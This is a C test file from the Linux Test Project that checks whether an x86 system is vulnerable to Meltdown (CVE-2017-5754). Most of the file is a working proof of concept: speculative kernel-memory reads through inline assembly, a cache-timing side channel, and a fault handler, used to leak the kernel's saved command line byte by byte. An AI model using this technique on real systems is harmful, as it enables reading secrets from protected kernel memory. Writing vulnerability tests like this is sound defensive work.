• Home
  • History
  • Annotate
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 // SPDX-License-Identifier: GPL-2.0-or-later
2 /*
3  * Copyright (c) 2018 Pavel Boldin <pboldin@cloudlinux.com>
4  */
5 
6 #include "config.h"
7 #include "tst_test.h"
8 
9 #if defined(__x86_64__) || defined(__i386__)
10 
11 #include <stdio.h>
12 #include <string.h>
13 #include <signal.h>
14 #include <ucontext.h>
15 #include <unistd.h>
16 #include <fcntl.h>
17 #include <ctype.h>
18 #include <sys/utsname.h>
19 
20 #include <emmintrin.h>
21 
22 #include "libtsc.h"
23 
24 #define TARGET_OFFSET	9
25 #define TARGET_SIZE	(1 << TARGET_OFFSET)
26 #define BITS_BY_READ	2
27 
28 static char target_array[BITS_BY_READ * TARGET_SIZE];
29 
30 static void
clflush_target(void)31 clflush_target(void)
32 {
33 	int i;
34 
35 	for (i = 0; i < BITS_BY_READ; i++)
36 		_mm_clflush(&target_array[i * TARGET_SIZE]);
37 }
38 
39 extern char failshere[];
40 extern char stopspeculate[];
41 
42 static void __attribute__((noinline))
speculate(unsigned long addr,char bit)43 speculate(unsigned long addr, char bit)
44 {
45 	register char mybit asm ("cl") = bit;
46 #ifdef __x86_64__
47 	asm volatile (
48 		"1:\n\t"
49 
50 		".rept 300\n\t"
51 		"add $0x141, %%rax\n\t"
52 		".endr\n"
53 
54 		"failshere:\n\t"
55 		"movb (%[addr]), %%al\n\t"
56 		"ror %[bit], %%rax\n\t"
57 		"and $1, %%rax\n\t"
58 		"shl $9, %%rax\n\t"
59 		"jz 1b\n\t"
60 
61 		"movq (%[target], %%rax, 1), %%rbx\n"
62 
63 		"stopspeculate: \n\t"
64 		"nop\n\t"
65 		:
66 		: [target] "r" (target_array),
67 		  [addr] "r" (addr),
68 		  [bit] "r" (mybit)
69 		: "rax", "rbx"
70 	);
71 #else /* defined(__x86_64__) */
72 	asm volatile (
73 		"1:\n\t"
74 
75 		".rept 300\n\t"
76 		"add $0x141, %%eax\n\t"
77 		".endr\n"
78 
79 		"failshere:\n\t"
80 		"movb (%[addr]), %%al\n\t"
81 		"ror %[bit], %%eax\n\t"
82 		"and $1, %%eax\n\t"
83 		"shl $9, %%eax\n\t"
84 		"jz 1b\n\t"
85 
86 		"movl (%[target], %%eax, 1), %%ebx\n"
87 
88 		"stopspeculate: \n\t"
89 		"nop\n\t"
90 		:
91 		: [target] "r" (target_array),
92 		  [addr] "r" (addr),
93 		  [bit] "r" (mybit)
94 		: "rax", "ebx"
95 	);
96 #endif
97 }
98 
99 #ifdef __i386__
100 # define REG_RIP	REG_EIP
101 #endif
102 
103 static void
sigsegv(int sig LTP_ATTRIBUTE_UNUSED,siginfo_t * siginfo LTP_ATTRIBUTE_UNUSED,void * context LTP_ATTRIBUTE_UNUSED)104 sigsegv(int sig LTP_ATTRIBUTE_UNUSED,
105 	siginfo_t *siginfo LTP_ATTRIBUTE_UNUSED,
106 	void *context LTP_ATTRIBUTE_UNUSED)
107 {
108 	ucontext_t *ucontext = context;
109 	unsigned long *prip = (unsigned long *)&ucontext->uc_mcontext.gregs[REG_RIP];
110 	if (*prip != (unsigned long)failshere) {
111 		tst_brk(TBROK,
112 			"Segmentation fault at unexpected location %lx",
113 			*prip);
114 		abort();
115 	}
116 	*prip = (unsigned long)stopspeculate;
117 	return;
118 }
119 
120 static int
set_signal(void)121 set_signal(void)
122 {
123 	struct sigaction act = {
124 		.sa_sigaction = sigsegv,
125 		.sa_flags = SA_SIGINFO,
126 	};
127 
128 	return sigaction(SIGSEGV, &act, NULL);
129 }
130 
131 static inline int
get_access_time(volatile char * addr)132 get_access_time(volatile char *addr)
133 {
134 	unsigned long long time1, time2;
135 	volatile int j LTP_ATTRIBUTE_UNUSED;
136 
137 	rdtscll(time1);
138 
139 	j = *addr;
140 
141 	_mm_mfence();
142 	rdtscll(time2);
143 
144 	return time2 - time1;
145 }
146 
147 static int cache_hit_threshold;
148 static int hist[BITS_BY_READ];
149 
150 static void
check(void)151 check(void)
152 {
153 	int i, time;
154 	volatile char *addr;
155 
156 	for (i = 0; i < BITS_BY_READ; i++) {
157 		addr = &target_array[i * TARGET_SIZE];
158 
159 		time = get_access_time(addr);
160 
161 		if (time <= cache_hit_threshold)
162 			hist[i]++;
163 	}
164 }
165 
166 #define CYCLES 10000
167 static int
readbit(int fd,unsigned long addr,char bit)168 readbit(int fd, unsigned long addr, char bit)
169 {
170 	int i, ret;
171 	static char buf[256];
172 
173 	memset(hist, 0, sizeof(hist));
174 
175 	for (i = 0; i < CYCLES; i++) {
176 		ret = pread(fd, buf, sizeof(buf), 0);
177 		if (ret < 0)
178 			tst_res(TBROK | TERRNO, "can't read fd");
179 
180 		clflush_target();
181 
182 		speculate(addr, bit);
183 		check();
184 	}
185 
186 #ifdef DEBUG
187 	for (i = 0; i < BITS_BY_READ; i++)
188 		tst_res(TINFO, "addr %lx hist[%x] = %d", addr, i, hist[i]);
189 #endif
190 
191 	if (hist[1] > CYCLES / 10)
192 		return 1;
193 	return 0;
194 }
195 
196 static int
readbyte(int fd,unsigned long addr)197 readbyte(int fd, unsigned long addr)
198 {
199 	int bit, res = 0;
200 
201 	for (bit = 0; bit < 8; bit ++ )
202 		res |= (readbit(fd, addr, bit) << bit);
203 
204 	return res;
205 }
206 
207 
208 static int
mysqrt(long val)209 mysqrt(long val)
210 {
211 	int root = val / 2, prevroot = 0, i = 0;
212 
213 	while (prevroot != root && i++ < 100) {
214 		prevroot = root;
215 		root = (val / root + root) / 2;
216 	}
217 
218 	return root;
219 }
220 
221 #define ESTIMATE_CYCLES	1000000
222 static void
set_cache_hit_threshold(void)223 set_cache_hit_threshold(void)
224 {
225 	long cached, uncached, i;
226 
227 	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
228 		cached += get_access_time(target_array);
229 
230 	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
231 		cached += get_access_time(target_array);
232 
233 	for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
234 		_mm_clflush(target_array);
235 		uncached += get_access_time(target_array);
236 	}
237 
238 	cached /= ESTIMATE_CYCLES;
239 	uncached /= ESTIMATE_CYCLES;
240 
241 	cache_hit_threshold = mysqrt(cached * uncached);
242 
243 	tst_res(TINFO,
244 		"access time: cached = %ld, uncached = %ld, threshold = %d",
245 		cached, uncached, cache_hit_threshold);
246 }
247 
248 static unsigned long
find_symbol_in_file(const char * filename,const char * symname)249 find_symbol_in_file(const char *filename, const char *symname)
250 {
251 	unsigned long addr;
252 	char type;
253 	int ret, read;
254 	char fmt[strlen(symname) + 64];
255 
256 	tst_res(TINFO, "Looking for %s in %s", symname, filename);
257 	if (access(filename, F_OK) == -1) {
258 		tst_res(TINFO, "%s not available", filename);
259 		return 0;
260 	}
261 
262 	sprintf(fmt, "%%lx %%c %s%%c", symname);
263 
264 	ret = FILE_LINES_SCANF(filename, fmt, &addr, &type, &read);
265 	if (ret)
266 		return 0;
267 
268 	return addr;
269 }
270 
271 static unsigned long
find_kernel_symbol(const char * name)272 find_kernel_symbol(const char *name)
273 {
274 	char systemmap[256];
275 	struct utsname utsname;
276 	unsigned long addr;
277 
278 	addr = find_symbol_in_file("/proc/kallsyms", name);
279 	if (addr)
280 		return addr;
281 
282 	if (uname(&utsname) < 0)
283 		tst_brk(TBROK | TERRNO, "uname");
284 	sprintf(systemmap, "/boot/System.map-%s", utsname.release);
285 	addr = find_symbol_in_file(systemmap, name);
286 	return addr;
287 }
288 
289 static unsigned long saved_cmdline_addr;
290 static int spec_fd;
291 
setup(void)292 static void setup(void)
293 {
294 	set_cache_hit_threshold();
295 
296 	saved_cmdline_addr = find_kernel_symbol("saved_command_line");
297 	tst_res(TINFO, "&saved_command_line == 0x%lx", saved_cmdline_addr);
298 
299 	if (!saved_cmdline_addr)
300 		tst_brk(TCONF, "saved_command_line not found");
301 
302 	spec_fd = SAFE_OPEN("/proc/cmdline", O_RDONLY);
303 
304 	memset(target_array, 1, sizeof(target_array));
305 
306 	if (set_signal() < 0)
307 		tst_res(TBROK | TERRNO, "set_signal");
308 }
309 
310 #define READ_SIZE 32
311 
run(void)312 static void run(void)
313 {
314 	unsigned int i, score = 0, ret;
315 	unsigned long addr;
316 	unsigned long size;
317 	char read[READ_SIZE] = { 0 };
318 	char expected[READ_SIZE] = { 0 };
319 	int expected_len;
320 
321 	expected_len = pread(spec_fd, expected, sizeof(expected), 0);
322 	if (expected_len < 0)
323 		tst_res(TBROK | TERRNO, "can't read test fd");
324 
325 	/* read address of saved_cmdline_addr */
326 	addr = saved_cmdline_addr;
327 	size = sizeof(addr);
328 	for (i = 0; i < size; i++) {
329 		ret = readbyte(spec_fd, addr);
330 
331 		read[i] = ret;
332 		tst_res(TINFO, "read %lx = 0x%02x %c", addr, ret,
333 			isprint(ret) ? ret : ' ');
334 
335 		addr++;
336 	}
337 
338 	/* read value pointed to by saved_cmdline_addr */
339 	memcpy(&addr, read, sizeof(addr));
340 	memset(read, 0, sizeof(read));
341 	tst_res(TINFO, "save_command_line: 0x%lx", addr);
342 	size = expected_len;
343 
344 	if (!addr)
345 		goto done;
346 
347 	for (i = 0; i < size; i++) {
348 		ret = readbyte(spec_fd, addr);
349 
350 		read[i] = ret;
351 		tst_res(TINFO, "read %lx = 0x%02x %c | expected 0x%02x |"
352 			" match: %d", addr, ret, isprint(ret) ? ret : ' ',
353 			expected[i], read[i] == expected[i]);
354 
355 		addr++;
356 	}
357 
358 	for (i = 0; i < size; i++)
359 		if (expected[i] == read[i])
360 			score++;
361 
362 done:
363 	if (score > size / 2)
364 		tst_res(TFAIL, "I was able to read your kernel memory!!!");
365 	else
366 		tst_res(TPASS, "I was not able to read your kernel memory");
367 	tst_res(TINFO, "score(matched/all): %u / %lu", score, size);
368 }
369 
cleanup(void)370 static void cleanup(void)
371 {
372 	SAFE_CLOSE(spec_fd);
373 }
374 
375 static struct tst_test test = {
376 	.needs_root = 1,
377 	.setup = setup,
378 	.test_all = run,
379 	.cleanup = cleanup,
380 	.min_kver = "2.6.32",
381 	.tags = (const struct tst_tag[]) {
382 		{"CVE", "2017-5754"},
383 		{}
384 	}
385 };
386 
387 #else /* #if defined(__x86_64__) || defined(__i386__) */
388 
389 TST_TEST_TCONF("not x86_64 or i386");
390 
391 #endif /* #else #if defined(__x86_64__) || defined(__i386__) */
392